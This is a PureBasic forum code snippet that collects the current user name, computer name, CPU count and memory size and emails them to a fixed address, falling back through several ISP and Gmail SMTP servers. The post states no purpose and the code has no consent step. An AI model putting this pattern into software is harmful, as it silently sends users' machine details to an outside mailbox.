PureBasic Forums - English

Code: Select all

InitNetwork() 


comp$= "User : " + UserName()+ #LF$ +"Computer name : " + ComputerName() + #LF$ +"NbCPUs : " + CountCPUs() + #LF$
comp$+ "Physical memory (MB) : " + Str(MemoryStatus(#PB_System_TotalPhysical) / (1024 * 1024))

If CreateMail(0, "", "test : "+message$)
  SetMailBody(0, comp$)
  AddMailRecipient(0, "isabelle.nopi@laposte.net", #PB_Mail_To)
  Resultat = SendMail(0, "smtp.orange.fr", 25, 0)
  If resultat=0
    Resultat = SendMail(0, "smtp.free.fr", 25, 0)
    If resultat=0
      Resultat = SendMail(0, "smtp.bouygtel.fr", 587, 0)
      If resultat=0
        Resultat = SendMail(0, "smtp.gmail.com", 587, 0)
        If resultat=0
          Resultat = SendMail(0, "smtp.sfr.fr", 465, 0)
          If resultat=0
            Resultat = SendMail(0, "smtp.sfr.fr", 587, 0)
            If resultat=0
              Resultat = SendMail(0, "ssl0.ovh.net", 993, 0)
            EndIf
          EndIf
        EndIf
      EndIf
    EndIf
  EndIf
EndIf